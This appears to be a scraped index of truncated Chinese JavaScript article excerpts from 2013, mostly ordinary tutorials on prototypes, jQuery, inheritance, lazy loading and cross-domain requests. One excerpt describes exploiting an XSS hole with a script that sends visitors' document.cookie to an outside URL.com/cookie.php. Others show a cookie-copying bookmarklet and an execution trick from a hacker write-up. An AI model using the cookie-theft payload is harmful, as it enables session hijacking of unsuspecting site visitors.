Time of Update: 2013-12-01
最近在產品研發過程中,發現需要對原生數組進行一些擴充,我們深知修改原生對象的弊端,尤其在產品化的程式中修改原生對象的原型。如果因某個實現中缺少某個方法,就在原生對象的原型中添加這個方法,那麼當在另一個支援該方法的實現中運行代碼時,就可能會導致命名衝突。而且,這樣做也可能會意外地重寫原生方法,大名鼎鼎的prototype架構敗因也在於此,改寫了大量原生對象,當ECMAscript升級時,面臨著許多改寫方法與原生方法重名的問題,因此要不斷地更改這些原有的副檔名稱,導致一系列附帶問題的出現。 工作中
Time of Update: 2013-12-01
資訊來源:至尊寶的成長之路比如發現一處可XSS地方:<script>alert(不管怎麼樣彈出就好)</script>自己弄個偷cookie的檔案。目的是讓其他瀏覽者去瀏覽我們設計好的陷阱<script>document.location=http://URL.com/cookie.php?cookie='+escape(document.cookie)
Time of Update: 2013-12-01
<html><head><title>MonthView Demo</title><script
Time of Update: 2013-12-01
在javascript 事件中,當參數是經過編碼的值,javascript 會將期解碼進行執行,如下代碼。<a href=#
Time of Update: 2013-12-01
封裝常用的JS參數方便PHP調用: <?php//// ---------------------------------------------------------------------- // | JS javascript 類 |// ---------------------------------------------------------------------- // | Copyright (c) 2001 NetFish Software |// | |//
Time of Update: 2013-12-01
複製原始碼javascript:{clipboardData.setData("text",document.documentElement.outerHTML);alert("HTML源已經複製到剪貼簿")} 複製cookiesjavascript:clipboardData.setData(Text,document.cookie);alert("Cookies已經複製到剪下板"); 顯示所有圖片javascript:Ai7Mg6P=;for%20(i7M1
Time of Update: 2013-12-01
key0.cn看到GARETHHEYES的JavaScript for hackers,摘錄一些。這人很牛的。。。他的http://www.businessinfo.co.uk/labs/上有n多expRegExp可以執行任意代碼somestring.replace(/some/,function($1){ alert(/Fuck GFW/) })非常典型的函數式編程漏洞。嘿嘿。XSS.replace(/XSS/g,alert)
Time of Update: 2013-12-01
string str = "<script language=javascript>alert(驗證碼不正確!);</script>";Page.RegisterStartupScript("提示", str);//第一種方法,2005下提示已淘汰,可以考慮第3、4種方法Response.Write(str); //第二種方法,最簡單的方法 /**//// <summary> ///
Time of Update: 2013-12-01
最近發現各大類庫都能利用div.innerHTML=HTML片斷來產生節點元素,再把它們插入到目標元素的各個位置上。這東西實際上就是insertAdjacentHTML,但是IE可惡的innerHTML把這優勢變成劣勢。首先innerHTML會把裡面的某些位置的空白去掉,見下面運行框的結果: <!doctype html><html dir="ltr" lang="zh-CN">
Time of Update: 2013-12-01
第一種: <script language="javascript"> window.location.href="index.php";
Time of Update: 2013-12-01
在html" target=_blank>javascript學習筆記(十)中,我們對錶格進行了一些美化,主要是實現隔行換色及滑鼠經過時高亮兩個功能!這樣看起來,感覺已經不錯了,使用者體驗要比之前好多了。在今天的學習筆記中,我們對錶格再改進一些,讓使用者體驗再好一些。我們先看:圖1
Time of Update: 2013-12-01
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>autoComplete</title><meta
Time of Update: 2013-12-01
司徒正美為公司起草的javascript編程規範,參考了網上的許多資料,尤其是google的規範。現在放出來,希望能拋磚引玉,大家多提寶貴意見。本規範是針對javascript函數式編程風格與公司嚴重依賴於jQuery進行編碼的現實制定出來。禁止使用eval,with與caller(ecma262 v5 的use strict要求)。eval只允許在加密時機器產生。聲明變數必須加上 var
Time of Update: 2013-12-01
跨域請求的方式有很多種,1,iframe2,document.domain3,window.name4,script5,XDomainRequest (IE8+)6,XMLHTTPRequest (Firefox3.5+)7,postMessage
Time of Update: 2013-12-01
前段時間溫故了下JS OO之寫類方式,從這篇開始我們看看JS OO之繼承方式。物件導向的語言多數都支援繼承,繼承最重要的優點就是代碼複用,從而構建大型軟體系統。如果一個類能夠重用另一個類的屬性和或方法,就稱之為繼承。從這個角度來看看JS的繼承方式。JS中繼承方式與寫類方式息息相關。不同的寫類方式造成不同的繼承方式。各種流行JS庫繼承方式也各不相同。從最簡單的複用開始。 1、建構函式方式寫類,通過方法調用複製父類屬性/欄位到子類
Time of Update: 2013-12-01
JavaScript 代碼/// 檢查輸入的日期是否是一個正確的日期格式:/// 支援 yyyy-M-d、yyyy-MM-dd、yyyy/M/d、yyyy/MM/dd 四種輸入格式。function checkDate(strInputDate) { // 定義一個月份天數常量數組 var DA = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; // 統一日期格式 strDate =
Time of Update: 2013-12-01
昨天和大家說了一下JQUERY的一些常見用法,最簡單的哦今天繼續寫JQUERY的對象將Dom對象轉換為JQuery對象的方法,$(dom對象);Jquery對象轉 Dom對象:var domobj = jqobj[0]var domobj=jqobj.get(0)轉換成DOM對象之後就可以使用JS的方法----呵呵,其他的用法,我相信,你懂的.JQUERY操作樣式表【CSS】view sourceprint?<script type="text/javascript">
Time of Update: 2013-12-01
對於熟悉C#和Java的兄弟們,物件導向的三大思想(封裝,繼承,多態)肯定是瞭解的,今天我想講講如何在Javascript中利用封裝這個特性,開講!我們會把現實中的一些事物抽象成一個Class並且把事物的屬性(名詞)作為Class的Property把事物的動作(動詞)作為Class的methods。在物件導向的語言中(C#等)都會有一些關鍵字來修飾類或者屬性(Private,public,protect),這些關鍵詞描述了訪問的許可權,不多做解釋。
Time of Update: 2013-12-01
這裡消極式載入的意思是,拖動捲軸時,在圖片出現在瀏覽器顯示地區後才載入顯示。 大概的實現方式是:在頁面的load沒有觸發之前,把所有的指定id的元素內的img放入到imgs中,將所有的圖片的src值放入到一個建立的_src屬性中,把src設定為指定的顯示圖片。然後,在document.body的scroll事件觸發時,迴圈計算imgs中的img元素位置是否正好在瀏覽器顯示框範圍內,如果是,則將img元素的_src屬性的值賦給src,這樣圖片就能顯示出來。這裡比較麻煩地方是,如何計算img的位置,
Time of Update: 2013-12-01
運行時候根據需求,改動這裡即可mpl.OpenUrl("DuskToDawn.wma"); 下面是完整代碼:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html